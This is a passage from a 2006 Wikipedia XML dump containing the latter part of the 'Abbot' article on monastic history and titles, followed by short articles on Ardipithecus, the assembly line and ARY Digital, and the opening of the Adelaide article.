In [[Egypt]], the first home of monasticism, the jurisdiction of the abbot, or archimandrite, was but loosely defined. Sometimes he ruled over only one community, sometimes over several, each of which had its own abbot as well.  [[Cassian]] speaks of an abbot of the [[Thebaid]] who had 500 monks under him. By the [[Rule of St Benedict]], which, until the reform of [[Abbey of Cluny|Cluny]], was the norm in the West, the abbot has jurisdiction over only one community. The rule, as was inevitable, was subject to frequent violations; but it was not until the foundation of the [[Abbey of Cluny|Cluniac]] Order that the idea of a supreme abbot, exercising jurisdiction over all the houses of an order, was definitely recognized.  

Monks, as a rule, were laymen, nor at the outset was the abbot any exception.  For the reception of the [[sacraments]], and for other religious offices, the abbot and his monks were commanded to attend the nearest church. This rule proved inconvenient when a monastery was situated in a desert or at a distance from a city, and necessity compelled the [[ordination]] of some monks.  This innovation was not introduced without a struggle, [[ecclesiology|ecclesiastical]] dignity being regarded as inconsistent with the higher [[spirituality|spiritual]] life, but, before the close of the [[5th century]], at least in the East, abbots seem almost universally to have become [[deacon]]s, if not priests.  The change spread more slowly in the West, where the office of abbot was commonly filled by laymen till the end of the [[7th century]]. The ecclesiastical leadership exercised by abbots despite their frequent lay status is proved by their attendance and votes at ecclesiastical councils.  Thus at the [[first Council of Constantinople]], AD [[448]], 23 [[archimandrite]]s or abbots sign, with 30 [[bishop]]s.  

The [[second Council of Nicaea]], AD [[787]], recognized the right of abbots to ordain their monks to the inferior orders below the [[deacon|diaconate]], a power usually reserved to bishops.

Abbots were originally subject to [[bishop|episcopal]] jurisdiction, and continued generally so, in fact, in the West till the 11th century.  The [[Code of Justinian]] (lib. i. tit. iii. de Ep. leg. xl.) expressly subordinates the abbot to episcopal oversight. The first case recorded of the partial exemption of an abbot from episcopal control is that of Faustus, abbot of Lerins, at the council of Arles, AD [[456]]; but the exorbitant claims and exactions of bishops, to which this repugnance to episcopal control is to be traced, far more than to the arrogance of abbots, rendered it increasingly frequent, and, in the 6th century, the practice of exempting religious houses partly or altogether from episcopal control, and making them responsible to the pope alone, received an impulse from [[Pope Gregory I|Pope Gregory the Great]]. These exceptions, introduced with a good object, had grown into a widespread evil by the 12th century, virtually creating an ''imperium in imperio,'' and depriving the bishop of all authority over the chief centres of influence in his [[diocese]]. In the 12th century the abbots of Fulda claimed precedence of the [[archbishopric of Cologne|archbishop of Cologne]].  Abbots more and more assumed almost episcopal state, and in defiance of the prohibition of early councils and the protests of St Bernard and others, adopted the episcopal insignia of [[mitre]], ring, gloves and sandals.  It has been maintained that the right to wear mitres was sometimes granted by the popes to abbots before the 11th century, but the documents on which this claim is based are not genuine (J. Braun, ''Liturgische Gewandung'', p. 453).  The first undoubted instance is the bull by which [[Pope Alexander II|Alexander II]] in [[1063]] granted the use of the mitre to Egelsinus, abbot of the monastery of St Augustine at Canterbury. The '''mitred abbots''' in England were those of [[Abingdon, England|Abingdon]], [[St Albans Abbey|St Alban's]], Bardney, Battle, [[Bury St. Edmunds Abbey|Bury St Edmund's]], St Augustine's Canterbury, Colchester, [[Croyland]], [[Evesham, Worcestershire|Evesham]], [[Glastonbury]], [[Gloucester]], St Benet's Hulme, Hyde, [[Malmesbury]], [[Peterborough]], [[Ramsey]], [[Reading Abbey|Reading]], [[Selby]], [[Shrewsbury]], [[Tavistock]], [[Thorney]], [[Westminster]], [[Winchcombe]], St Mary's [[York]].  Of these the precedence was originally yielded to the abbot of Glastonbury, until in AD [[1154]] [[Pope Adrian IV|Adrian IV]] (Nicholas Breakspear) granted it to the abbot of St Alban's, in which monastery he had been brought up.  Next after the abbot of St Alban's ranked the abbot of Westminster.  To distinguish abbots from bishops, it was ordained that their mitre should be made of less costly materials, and should not be ornamented with gold, a rule which was soon entirely disregarded, and that the crook of their [[crosier|pastoral staff]] should turn inwards instead of outwards, indicating that their jurisdiction was limited to their own house. 

The adoption of certain episcopal insignia ([[pontificalia]]) by abbots was followed by an encroachment on episcopal functions, which had to be specially but ineffectually guarded against by the [[First Council of the Lateran|Lateran council]], AD [[1123]].  In the East, abbots, if in priests' orders, with the consent of the bishop, were, as we have seen, permitted by the [[Second Council of Nicaea|second Nicene council]], AD [[787]], to confer the [[tonsure]] and admit to the order of reader; but gradually abbots, in the West also, advanced higher claims, until we find them in AD [[1489]] permitted by [[Pope Innocent IV|Innocent IV]] to confer both the subdiaconate and diaconate.  Of course, they always and everywhere had the power of admitting their own monks and vesting them with the religious habit.

When a vacancy occurred, the bishop of the diocese chose the abbot out of the monks of the [[abbey|convent]], but the right of election was transferred by jurisdiction to the monks themselves, reserving to the bishop the confirmation of the election and the benediction of the new abbot.  In [[abbey]]s exempt from the (arch)bishop's diocesan jurisdiction, the confirmation and [[benediction]] had to be conferred by the pope in person, the house being taxed with the expenses of the new abbot's journey to [[Rome]].  It was necessary that an abbot should be at least 25 years of age, of legitimate birth, a monk of the house, unless it furnished no suitable candidate, when a liberty was allowed of electing from another convent, well instructed himself, and able to instruct others, one also who had learned how to command by having practised obedience. In some exceptional cases an abbot was allowed to name his own successor. Cassian speaks of an abbot in Egypt doing this; and in later times we have another example in the case of St Bruno.  Popes and sovereigns gradually encroached on the rights of the monks, until in Italy the pope had usurped the nomination of all abbots, and the king in France, with the exception of Cluny, Premontre and other houses, chiefs of their order.  The election was for life, unless the abbot was canonically deprived by the chiefs of his order, or when he was directly subject to them, by the pope or the bishop.  

The ceremony of the formal admission of a [[Benedictine]] abbot in medieval times is thus prescribed by the [[consuetudinary]] of Abingdon.  The newly elected abbot was to put off his shoes at the door of the church, and proceed barefoot to meet the members of the house advancing in a procession.  After proceeding up the [[nave]], he was to kneel and pray at the topmost step of the entrance of the choir, into which he was to be introduced by the bishop or his [[commissary]], and placed in his stall.  The monks, then kneeling, gave him the kiss of peace on the hand, and rising, on the mouth, the abbot holding his [[staff of office]].  He then put on his shoes in the [[vestry]], and a [[chapter (religion)|chapter]] was held, and the bishop or his delegate preached a suitable sermon. 

The power of the abbot was paternal but absolute, limited, however, by the [[canon law]].  One of the main goals of monasticism was the purgation of self and selfishness, and obedience was seen as a path to that perfection.  It was sacred duty to execute the abbot's orders, and even to act without his orders was sometimes considered a transgression.  Examples among the Egyptian monks of this submission to the commands of the superiors, exalted into a virtue by those who regarded the entire crushing of the individual will as a goal, are detailed by Cassian and others, e.g. a monk watering a dry stick, day after day, for months, or endeavouring to remove a huge rock immensely exceeding his powers.

==General Information==

Before the late modern era, the abbot was treated with the utmost reverence by the brethren of his house.  When he appeared either in church or chapter all present rose and bowed.  His letters were received kneeling, as were those of the pope and the king.  No monk might sit in his presence, or leave it without his permission, reflecting the hierarchical etiquette of families and society.  The highest place was assigned to him, both in church and at table.  In the East he was commanded to eat with the other monks.  In the West the [[Rule of St Benedict]] appointed him a separate table, at which he might entertain guests and strangers.  This permission opening the door to luxurious living, the council of Aachen, AD [[817]], decreed that the abbot should dine in the [[refectory]], and be content with the ordinary fare of the monks, unless he had to entertain a guest. These ordinances proved, however, generally ineffectual to secure strictness of diet, and contemporaneous literature abounds with satirical remarks and complaints concerning the inordinate extravagance of the tables of the abbots.  When the abbot condescended to dine in the refectory, his [[chaplain]]s waited upon him with the dishes, a servant, if necessary, assisting them. When abbots dined in their own private hall, the Rule of St Benedict charged them to invite their monks to their table, provided there was room, on which occasions the guests were to abstain from quarrels, slanderous talk and idle gossiping. 

The ordinary attire of the abbot was according to rule to be the same as that of the monks. But by the 10th century the rule was commonly set aside, and we find frequent complaints of abbots dressing in silk, and adopting sumptuous attire.  They sometimes even laid aside the monastic habit altogether, and assumed a secular dress. With the increase of wealth and power, abbots had lost much of their special religious character, and become great lords, chiefly distinguished from lay lords by [[clerical celibacy|celibacy]].  Thus we hear of abbots going out to hunt, with their men carrying bows and arrows; keeping horses, dogs and huntsmen; and special mention is made of an abbot of [[Leicester]], c. [[1360]], who was the most skilled of all the nobility in hare hunting.  In magnificence of equipage and [[retinue]] the abbots vied with the first nobles of the realm.  They rode on mules with gilded bridles, rich saddles and housings, carrying hawks on their wrist, followed by an immense train of attendants.  The bells of the churches were rung as they passed.  They associated on equal terms with laymen of the highest distinction, and shared all their pleasures and pursuits.  This rank and power was, however, often used most beneficially.  For instance, we read of Whiting, the last abbot of [[Glastonbury Abbey|Glastonbury]], judicially murdered by [[Henry VIII of England|Henry VIII]], that his house was a kind of well-ordered court, where as many as 300 sons of noblemen and gentlemen, who had been sent to him for virtuous education, had been brought up, besides others of a lesser rank, whom he fitted for the universities. His table, attendance and officers were an honour to the nation. He would entertain as many as 500 persons of rank at one time, besides relieving the poor of the vicinity twice a week. He had his country houses and fisheries, and when he travelled to attend parliament his retinue amounted to upwards of 100 persons.  The abbots of [[Cluny]] and [[Vendome|Vendôme]] were, by virtue of their office, [[Cardinal (Catholicism)|cardinal]]s of the Roman church. 

In process of time the title abbot was extended to [[clergy#Catholic clergy|clerics]] who had no connection with the monastic system, as to the principal of a body of parochial clergy; and 
under the [[Charlemagne|Carolingians]] to the chief chaplain of the king, ''Abbas Curiae,'' or military chaplain of the emperor, ''Abbas Castrensis.'' It even came to be adopted by purely secular officials.  Thus the chief magistrate of the republic at [[Genoa]] was called ''Abbas Populi''.

[[Lay abbot]]s (M. Lat. ''defensores'', ''abbacomites'', ''abbates laici'', ''abbates milites'', ''abbates saeculares'' or ''irreligiosi'', ''abbatiarii'', or sometimes simply ''abbates'') were the outcome of the growth of the [[Feudalism | feudal]] system from the [[8th century]] onwards.  The practice of [[commendation]], by which--to meet a contemporary emergency--the revenues of the community were handed over to a lay lord, in return for his protection, 
early suggested to the emperors and kings the expedient of rewarding their warriors with rich abbeys held ''in [[commendam]].''

During the Carolingian epoch the custom grew up of granting these as regular heritable [[fiefdom|fiefs]] or [[benefice]]s, and by the [[10th century]], before the great [[Cluny | Cluniac]] reform, the system was firmly established. Even the [[Saint Denis Basilica|abbey of St Denis]] was held in commendam by [[Hugh Capet]]. The example of the kings was followed by the feudal nobles, sometimes by making a temporary concession permanent, sometimes without any form of commendation whatever.  In England the abuse was rife in the 8th century, as may be gathered from the acts of the council of Cloveshoe.  These lay abbacies were not merely a question of 
overlordship, but implied the concentration in lay hands of all the rights, immunities and jurisdiction of the foundations, i.e. the more or less complete secularization of spiritual institutions.  The lay abbot took his recognized rank in the feudal hierarchy, and was free to dispose of his fief as in the case of any other.  The enfeoffment of abbeys differed in form and degree.  Sometimes the monks were directly subject to the lay abbot; sometimes he appointed a 
substitute to perform the spiritual functions, known usually as [[dean (religion)|dean]] (decanus), but also as abbot (''abbas legitimas'', ''monasticus'', ''regularis''). When the great reform of the 11th century had put an end to the direct jurisdiction of the lay abbots, the honorary title of abbot continued to be held by certain of the great feudal famines, as late as the 13th century and later, the actual head of the community retaining that of dean.  The connection of the lesser lay abbots with the abbeys, especially in the south of France, lasted longer; and certain feudal families retained the title of abbes chevaliers (abbates milltes) for centuries, together with certain rights over the abbey lands or revenues. The abuse was not confined to the West.  John, [[patriarch of Antioch]], at the beginning of the 12th Century, informs us that in his time most monasteries had been handed over to laymen, ''bencficiarii,'' for life, or for part of their lives, by the emperors.

[[Giraldus Cambrensis]] reported (''Itinerary'', ii.iv) the common customs of lay abbots in the late 12th-century Church of Wales:
:&quot;for a bad custom has prevailed amongst the clergy, of appointing the most powerful people of a parish stewards, or, rather, patrons, of their churches; who, in process of time, from a desire of gain, have usurped the whole right, appropriating to their own use the possession of all the lands, leaving only to the clergy the altars, with their tenths and oblations, and assigning even these to their sons and relations in the church. Such defenders, or rather destroyers, of the church, have caused themselves to be called abbots, and presumed to attribute to themselves a title, as well as estates, to which they have no just claim.&quot;  

In conventual cathedrals, where the bishop occupied the place of the abbot, the functions usually devolving on the superior of the monastery were performed by a prior.

==Abbatial hierarchy==
In several orders, there exists a pyramidal relationship between a major abbey (often the old mother of several others, especially if it was the place from where a monastic reform was launched, which in other cases even lead to breaking away as a new order of congregation) and other ones (often younger daughters), even when these are not (or no longer) [[priories]] but have their own abbot. 
As a daughter could often become a mother in a next phase, the 'family tree' can become very complex, but often the grandmother remains the only one with acknowledged seniority.(because she is old ...)

Sometimes a very real hold was maintained, so the Abbot of [[Abbey of Cluny|Cluny]] had such vast income from the network of filial monasteries that he was one of the most powerful men in the church, and a real [[papabile]]. In other cases the precedence is little more than a honorary status.

In several cases, the senior abbot is entitled to '''a specific style''', such as [[Abbot general]], [[abbot president]], [[abbot primate]] and [[archabbot]]. 
Such titles may also apply to the presidents of federation of monasteries, not necessarily reserved for one abbey.

==Modern Abbots not as Superior== 
The title [[abbé]] (French; Ital. ''abbate''), as commonly used in the Catholic church on the European continent, is the equivalent of the English &quot;Father&quot; (parallel etymology), being loosely applied to all who have received the [[tonsure]].  This use of the title is said to have originated in the right conceded to the king of France, by the [[concordat]] between [[Pope Leo X]] and [[Francis I of France|Francis I]] (1516), to appoint ''abbes commendataires'' to most of the abbeys in France.  The expectation of obtaining these [[sinecure]]s drew young men towards the church in considerable numbers, and the class of abbés so formed--''abbes de cour'' they were sometimes called, and sometimes (ironically) ''abbes de sainte esperance'', abbés of St Hope--came to hold a recognized position.  The connection many of them had with the church was of the slenderest kind, consisting mainly in adopting the name of abbe, after a remarkably moderate course of theological study, practising [[celibacy]] and wearing a distinctive dress--a short dark-violet coat with narrow collar.  Being men of presumed learning and undoubted leisure, many of the class found admission to the houses of the French nobility as tutors or advisers. Nearly every great family had its abbé. The class did not survive the [[French Revolution|Revolution]]; but the [[courtesy title]] of abbé, having long lost all connection in people's minds with any special ecclesiastical function, remained as a convenient general term applicable to any clergyman. 

==Protestant abbots==
In the [[Evangelical Church in Germany|German Evangelical Church]] the German title of ''Abt'' (abbot) is sometimes bestowed, like the French ''abbé'', as an honorary distinction, and survives to designate the heads of some monasteries converted at the Reformation into collegiate foundations. 
Of these the most noteworthy is the abbey of Lokkum in [[Hanover]], founded as a [[Cistercian]] house in 1163 by Count Wilbrand of Hallermund, and reformed in 1593. The abbot of Lokkum, who still carries a pastoral staff, takes precedence of all the clergy of Hanover, and was ''ex officio'' a member of the [[consistory]] of the kingdom.  The governing body of the abbey consists of the abbot, prior and the &quot;convent&quot; of ''[[Stiftsherr]]en'' (canons).

In the [[Church of England]], the [[Bishop of Norwich]], by royal decree given by [[Henry VIII]], also holds the honorary title of &quot;Abbot of St. Benēt.&quot;  This title hails back to England's separation from Rome, when King Henry, as supreme head of the newly independent church, took over all of the monastaries, mainly for their possessions, except for St. Benēt, which he spared because the abbot and his monks possesed no wealth, and lived like simple beggers, disposing the incumbent Bishop of Norwich and seating the abbot in his place, thus the dual title still held to this day.

==See also==

*[[List of historical abbots]]
*[[Hegumen]]
*[[Archimandrite]]

==Sources and References==
{{Wikisource1911Enc|Abbot}}
*[http://www.google.com/custom?domains=NewAdvent.org&amp;q=abbot&amp;sitesearch=NewAdvent.org&amp;client=pub-8168503353085287&amp;forid=1&amp;ie=ISO-8859-1&amp;oe=ISO-8859-1&amp;safe=active&amp;cof=GALT%3A%23008000%3BGL%3A1%3BDIV%3A%23336699%3BVLC%3A663399%3BAH%3Acenter%3BBGC%3AFFFFFF%3BLBGC%3A336699%3BALC%3A0000FF%3BLC%3A0000FF%3BT%3A000000%3BGFNT%3A0000FF%3BGIMP%3A0000FF%3BFORID%3A1%3B&amp;hl=en| 999 occurrences in the [[Catholic Encyclopaedia]]]
*{{1911}}

[[Category:Abbots]]
[[category: Ecclesiastical titles]]
[[Category:Organisation of Catholic religious orders]]
[[Category:Christian leaders]]
[[Category:Religious work]]
[[Category:Religious executives]]

[[ang:Abbod]]
[[ca:Abat]]
[[cs:Opat]]
[[da:Abbed]]
[[de:Abt]]
[[es:Abad]]
[[eo:Abato]]
[[fr:Abbé]]
[[gl:Abade]]
[[ia:Abba]]
[[it:Abate]]
[[li:Abdis]]
[[hu:Apát]]
[[nl:Abt (abdij)]]
[[nds:Abt]]
[[no:Abbed]]
[[pl:Opat]]
[[pt:Abade]]
[[ru:Аббат]]
[[fi:Apotti]]
[[sv:Abbot]]</text>
    </revision>
  </page>
  <page>
    <title>Ardipithecus</title>
    <id>1144</id>
    <revision>
      <id>40359090</id>
      <timestamp>2006-02-20T01:16:10Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{Taxobox | color = pink
| name = Ardipithecus
| fossil_range = [[Pliocene]]
| image = Ardipithecus ramidus tooth.jpg
| image_width = 200px
| image_caption = ''Ardipithecus ramidus'' teeth
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Primate]]s
| familia = [[Hominid]]ae
| subfamilia = [[Homininae]]
| tribus = [[Hominini]]
| genus = '''''Ardipithecus'''''
| genus_authority = [[Tim White (anthropologist)|White]], [[1994]]
| subdivision_ranks = [[Species]]
| subdivision =''Ardipithecus kadabba''&lt;br /&gt; ''Ardipithecus ramidus''
}}

'''''Ardipithecus''''' is a very early [[hominin]] [[genus]] ([[subfamily]] [[Homininae]]). Because it shares several traits with the African [[great ape]]s (genus ''[[chimpanzee|Pan]]'' and genus ''[[Gorilla]]''), it is considered by some to be on the [[chimpanzee]] rather than [[human]] branch, but most consider it a [[proto-human]] because of a likeness in teeth with ''[[Australopithecus]]''. ''A. ramidus'' lived about 5.4 and 4.2 million years ago during the early [[Pliocene]].

Two [[species]] have been described, ''Ardipithecus ramidus'' and ''Ardipithecus kadabba''. The latter was initially described as a [[subspecies]] of ''A. ramidus'', but on the basis of teeth recently discovered in [[Ethiopia]] has been raised to species rank. ''A. kadabba'' is dated to have lived between 5.8 million to 5.2 million years ago. The [[canine teeth]] show primitive features that distinguish them from those of more recent hominines. ''A. kadabba'' is believed to be the earliest organism yet identified that lies in the human line following its split from the lineage that gave rise to the two modern chimpanzee species.

On the basis of bone sizes, ''Ardipithecus'' species are believed to have been about the size of a modern chimpanzee. The toe structure of ''A. ramidus'' suggests that the creature walked upright, and this poses problems for current theories of the origins of hominid [[bipedalism]]: ''Ardipithecus'' is believed to have lived in shady forests rather than on the savannah, where the faster running permitted by bipedalism would have been an advantage.

The forest lifestyle poses problems for the current theories regarding the development of bipedalism, most of which focus on the savanna. New thought will be necessary in order to reconcile these savanna theories with the current knowledge of early forest-dwelling hominids. 

==External links==
*[http://news.bbc.co.uk/2/hi/science/nature/4187991.stm BBC News:  Amazing hominid haul in Ethiopia]
{{Human_Evolution}}
[[Category:early hominids]]
[[Category:Pliocene]]


[[de:Ardipithecus ramidus]]
[[eu:Ardipithecus]]
[[es:Ardipithecus ramidus]]
[[fr:Ardipithecus ramidus]]
[[it:Ardipithecus kadabba]]
[[lb:Ardipithecus]]
[[nl:Ardipithecus]]
[[pl:Ardipithecus ramidus]]</text>
    </revision>
  </page>
  <page>
    <title>Assembly line</title>
    <id>1146</id>
    <revision>
      <id>41872264</id>
      <timestamp>2006-03-02T07:12:34Z</timestamp>
      <contributor>
        <ip>129.22.33.101</ip>
      </contributor>
      <comment>/* History of the assembly line */</comment>
      <text xml:space="preserve">An '''assembly line''' is a [[manufacturing]] process in which interchangeable parts are added to a product in a sequential manner to create an end product.    

==History of the assembly line==   

Until the 19th century, a single craftsman or team of craftsmen would create each part of a product individually, and assemble them together into a single item, making changes in the parts so that they would fit together - the so-called [[English System]] of manufacture.

[[Eli Whitney]] developed the [[American system of manufacturing|American System]] of manufacturing in 1799, using the ideas of ''[[division of labor]]'' and of ''[[Tolerance (engineering)|engineering tolerance]]'', to create assemblies from parts in a repeatable manner.

[[Ransom Eli Olds]] patented the first assembly line concept which he put to work in his Olds Motor Vehicle Company factory in 1901, becoming the first company in America to mass-produce automobiles.

By contrast, [[Henry Ford]] is often credited with the invention of the assembly line but in actuality only applied the idea of using the [[conveyer belt]] to Olds' idea of the assembly line.

==Sociological problems with the assembly line==

In early industrial times, the assembly line ran smoothly, but as competition increased, the workers had to work faster and longer hours, therefore increasing the rate at which workplace injuries occurred.

Many workers were unhappy with the assembly line, because most never had the satisfaction of seeing the finished product (in [[Sociology|sociological]] terms, they felt [[Alienation|alienated]] from the product of their work), and they were also frustrated with the unsafe, exhausting working conditions. Because workers had to stand in the same place for hours and repeat the same motion hundreds of times per day, they often suffered from what are now called [[Repetitive strain injury|repetitive stress injuries]].

==See also==    
*[[Henry Ford]]
*[[Ransom Eli Olds]]
*[[Manufacturing]]

[[Category:Manufacturing]][[category:Production and manufacturing]]   

[[de:Fließbandfertigung]]   
[[he:פס ייצור]]</text>
    </revision>
  </page>
  <page>
    <title>ARY Digital</title>
    <id>1147</id>
    <revision>
      <id>40391488</id>
      <timestamp>2006-02-20T05:55:10Z</timestamp>
      <contributor>
        <username>Spasage</username>
        <id>472206</id>
      </contributor>
      <text xml:space="preserve">{{merge|ARY DIGITAL}}
{{Infobox TV channel|
 name= ARY Digital|
 launch= December 2000|
 owner= [[ARY Group]] |
 former names= The Pakistani Channel|
 web= [http://www.arydigital.tv/ www.arydigital.tv] |
 terr avail=Not Available|
 sat serv 1=[[Sky Digital]]|
 sat chan 1=Channel 812|
 sat serv 2=[[Astra]]|
 sat chan 2=11.9973 GHz|
 sat serv 3=[[Hotbird]]|
 sat chan 3=12.476 GHz|
 sat serv 4=[[PAS-10]]|
 sat chan 4=3864 MHz|
 cable serv 1= [[Telewest]]|
 cable chan 1= Channel 818| 
 cable serv 2= [[NTL]]|
 cable chan 2= Channel 847|
 dummy parameter=|
|}}

[[Image:Sidelogo.jpeg|thumb|right|200px|The ARY Digital Logo]]

'''ARY Digital''' is a popular South Asian [[television]] network based in [[Dubai]], [[United Arab Emirates|UAE]]. It also has studios in [[London]] and [[Pakistan]]. Most programmes cater to the needs of South Asians, especially the [[Pakistan|Pakistani]] community. The channel also brings [[Urdu language|Urdu]] programmes and Urdu songs by Pakistani singers who rock the South Asian subcontinent.

== History ==

The network was formerly known as '''The Pakistani Channel''', which was owned by a charismatic business man, who started it as a medium of social responsibility while bridging the gap between Asians abroad and in Pakistan. Its name was changed when it was purchased by the [[ARY Group]]. ARY Digital specialises in popular live English and Urdu programming, such as VIDEO MIX shown on Sundays and presented by Yassir and Zaina.


== External links ==
*[http://www.arydigital.tv/ ARY Digital Official Website]
*[http://www.arydigital.tv/corporate.php Corporate Profile]

[[Category:ARY Digital]]
[[Category:Television stations in Pakistan]]</text>
    </revision>
  </page>
  <page>
    <title>Adelaide</title>
    <id>1148</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>41965329</id>
      <timestamp>2006-03-02T22:48:37Z</timestamp>
      <contributor>
        <ip>203.220.36.62</ip>
      </contributor>
      <text xml:space="preserve">{{otheruses}}
&lt;!-- BEGIN INFOBOX --&gt; 
{{Infobox Australian City|
name = Adelaide |
image_map = Adelaide locator-MJC.png |
name = Adelaide |
latd=34|latm=55|latNS=S|longd=138|longm=36|longEW=E|
jurisdiction = [[South Australia]] |
area = 1,826.9 |
time_zone= [[UTC9:30|ACST]] |
utc_offset= +9:30 |
time_zone_DST= [[UTC10:30|ACDT]] |
utc_offset_DST= +10:30 |
population_estimate_year = 2004 |
population_estimate = 1,124,315 |
population_estimate_rank = 5th |
population_density = 615 |
}}
&lt;!-- END INFOBOX --&gt;
'''Adelaide''' is the [[List of Australian capital cities|capital]] and most populous city of the [[Australia]]n [[States and territories of Australia|state]] of [[South Australia]], and is the fifth largest city in Australia with a population of over 1.1 million. Adelaide is a coastal city beside the [[Southern Ocean]] and is situated on the [[Adelaide Plains]], north of the [[Fleurieu Peninsula]], between the [[Gulf Saint Vincent|Gulf St. Vincent]] and the low lying [[Mount Lofty Ranges]]. It is a roughly [[linear city]] 20 km from the coast to the foothills, but stretches 90 km from [[Gawler, South Australia|Gawler]] at its northern extent to [[Aldinga, South Australia|Aldinga]] in the south. 

Named in honour of [[Adelaide of Saxe-Meiningen|Queen Adelaide]], the [[consort]] of [[William IV of the United Kingdom|King William IV]], the city was founded in [[1836]] as the [[new town|planned capital]] for the only freely-settled British [[province]] established in Australia. [[William Light|Colonel William Light]], one of Adelaide's founding fathers, designed the city and chose its location close to the [[River Torrens]]. Inspired by [[William Penn]] and the [[garden city movement]], Light's design set Adelaide out in a grid layout, interspaced by wide boulevards and large public squares, and entirely surrounded by [[Adelaide Parklands|parkland]]. Early Adelaide was shaped by religious freedom and a commitment to political [[progressivism]] and civil liberties which led to world-first reforms. Adelaidean society remained largely [[puritan]] up until the 1970s, when a set of social reforms under the [[Premier of South Australia|premiership]] of [[Don Dunstan]] resulted in a cultural revival. Today Adelaide is known for its many [[:Category:Festivals in Adelaide|festivals]] as well as for its wine, arts and sports.

As South Australia's seat of government and commercial centre, Adelaide is the site of many governmental and financial institutions. Most of these are concentrated in the city centre along the cultural boulevard of [[North Terrace, Adelaide|North Terrace]] and in various districts of the metropolitan area. 

==History==
{{Main|History of Adelaide}}

Prior to European settlement, the Adelaide area was inhabited by the [[Kaurna]] [[Australian Aborigine|Aboriginal]] tribe. Acknowledged Kaurna country comprised the Adelaide Plains and surrounding regions - from [[Cape Jervis]] in the south, and to [[Port Wakefield, South Australia|Port Wakefield]] in the north. Among their unique customs were burn-offs (controlled [[bushfires]]) in the Adelaide Hills which the early Europeans spotted before the Kaurna people were pushed out by settlement. By 1852, the total population (by census count) of the Kaurna was 650 in the Adelaide region and steadily decreasing. During the winter months, they moved into the [[Adelaide hills]] for better shelter and firewood. {{ref|cathuni}} {{ref|placenames}} 
[[Image:Adelaide North Tce 1839.jpg|thumb|left|270px|Adelaide in [[1839]], looking south-east from [[North Terrace, Adelaide|North Terrace]]]]
South Australia was officially settled as a new [[United Kingdom|British]] [[province]] on [[December 28]], [[1836]]. This day is now commemorated as a [[public holiday]], [[Proclamation Day]] in South Australia.  The site of the colonies capital city was surveyed and laid-out by Colonel [[William Light]], the first Surveyor-General of South Australia. Light chose, not without opposition, a site on rising ground close to the [[River Torrens]], which became the chief early water supply for the fledgling colony. &quot;[[Light's Vision]]&quot;, as it has been termed, has meant that the initial design of Adelaide required little modification as the city grew and prospered.  Usually in an older city, it would be necessary to accommodate larger roads and add parks, whereas Adelaide had them from the start. Adelaide was established as the centre of a [[New town|planned colony]] of free immigrants, promising civil liberties and freedom from religious persecution and as such does not share the [[convict]] settlement history of other Australian cities, like [[Sydney]] and [[Hobart]].

Adelaide's early history was wrought by economic uncertainty and incompetent leadership. The first governor of South Australia, [[John Hindmarsh|Hindmarsh]], clashed frequently with Col Light. The rural area surrounding Adelaide city was surveyed by Light in preparation to sell, a total of over 405 km² of land. Adelaide's early economy started to get on its feet in 1838 with the arrival of livestock from [[New South Wales]] and [[Tasmania]]. The wool industry served as a early basis for the South Australian economy. Light's survey was completed in this period, and land was promptly offered to sale to early colonists. Wheat farms ranged from [[Encounter Bay]] in the south to [[Clare, South Australia|Clare]] in the north by 1860. [[George Gawler|Governor Gawler]] took over from Hindmarsh in late 1838 and promptly oversaw construction of a governor's house, [[gaol]], police barracks, hospital, and customs house and a wharf at [[Port Adelaide]]. In addition houses for public officials and missionaries, and outstations for police and surveyors were also constructed during Gawler's governorship. Adelaide had also become economically self-sufficent during this period but at heavy cost: the colony was heavily in [[debt]] and relied on bail-outs from London to stay afloat. Gawler was recalled and replaced by [[George Edward Grey|Governor Grey]] in 1841. Grey slashed public expenditure against heavy opposition, yet its impact was negligible at this point: Silver was discovered in [[Glen Osmond, South Australia|Glen Osmond]] that year, agricultural industries were well underway and other mines sprung up all over the state, aiding Adelaide's commercial development. The city exported meat, wool, wine, fruit and wheat by the time Grey left in 1845, contrasting with a low point in 1842 when one-third of Adelaide houses were abandoned.
[[Image:Adelaide town hall 1950.jpg|thumb|right|280px|Adelaide General Post Office in 1950]]
Trade links with the rest of the Australian states were established with the navigation of the [[Murray River]] being successfully navigated in 1853 by Francis Cadell, an Adelaide resident. Adelaide saw South Australia become a [[Self-governing colony]] in 1856 with the [[ratification]] of a new [[constitution]] by the British parliament. [[Secret ballot]]s were introduced, and a [[Bicameralism|bicameral]] parliament was elected on 9 March 1857, by which time 109 917 people lived in the province. In 1860 the Thorndon Park reservoir was opened, finally providing an alternative water source to the [[Turbidity|turbid]] River Torrens. In 1867 gas [[street light]]ing was implemented, the [[University of Adelaide]] was founded in 1874, the [[South Australian Art Gallery]] opened in 1881 and the [[Happy Valley Reservoir]] opened in 1896. In the 1890s Australia was affected by a severe [[Depression (economics)|economic depression]], ending a hectic era of land booms and tumultuous expansionism. Financial institutions in [[Melbourne]] and banks in [[Sydney]] closed. The national [[fertility rate]] fell and immigration was reduced to a trickle. The value of South Australia's exports nearly halved. [[Drought]] and poor harvests from 1884 compounded the problems with some families leaving for [[Western Australia]]. Adelaide was not as badly hit as the larger gold-rush cities of Sydney and Melbourne, and silver and [[lead]] discoveries at [[Broken Hill]] provided some relief.
Only one year of [[deficit]] was recorded but the price paid was retrenchments and lean public spending. [[Wine]] and copper were the only industries not to suffer a downturn.

Electric street lighting was introduced in 1900 and electric [[tram]]s were transporting passengers in 1909. 28 000 men were sent to fight in [[World War I]]. Adelaide enjoyed a post-war boom but with the return of droughts, entered the [[Great Depression|depression]] of the 1930s, later returning to prosperity with strong government leadership. [[Secondary sector of industry|Secondary industries]] helped reduce the state's dependence on [[primary sector of industry|primary industries]]. The 1933 census recorded the state population at 580 949 which was less of an increase than other states due to the state's economic limitations. [[World War II]] brought industrial stimulus and diversification to Adelaide under the [[Thomas Playford IV|Playford]] Government, which advocated Adelaide as a safe place for manufacturing due to its less vulrenable location. 70 000 men and women enlisted and shipbuilding was expanded at the nearby port of [[Whyalla, South Australia|Whyalla]]. 

[[Image:Rundle Mall.jpg|280px|thumb|left|Rundle Mall circa 1988 with the famous ''Spheres'' sculpture (colloquially ''Mall's Balls'') clearly visible.]]
